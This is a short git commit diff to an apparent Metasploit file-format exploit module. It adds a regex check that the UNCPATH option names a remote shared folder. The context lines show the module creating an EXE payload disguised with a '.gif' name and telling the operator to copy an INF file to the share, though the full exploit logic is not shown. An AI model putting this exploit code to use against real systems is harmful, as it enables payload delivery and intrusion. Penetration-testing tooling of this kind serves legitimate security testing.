Add @wchen-r7's unc regex

bug/bundler_fix
jvazquez-r7 2014-10-17 13:46:13 -05:00
parent e5903562ee
commit 8fa648744c
1 changed files with 15 additions and 1 deletions

View File

@ -81,7 +81,11 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
@unc = datastore['UNCPATH']
@unc = validate_unc_path
if @unc.nil?
fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")
end
print_status("Creating the EXE payload...")
payload_name = "#{rand_text_alpha(4)}.gif"
@ -104,6 +108,16 @@ class Metasploit3 < Msf::Exploit::Remote
print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")
end
def validate_unc_path
if datastore['UNCPATH'] =~ /^\\{2}[[:print:]]+\\[[:print:]]+\\*$/
unc = datastore['UNCPATH']
else
unc = nil
end
unc
end
def my_file_create(data, name)
ltype = "exploit.fileformat.#{self.shortname}"
path = store_local(ltype, nil, data, name)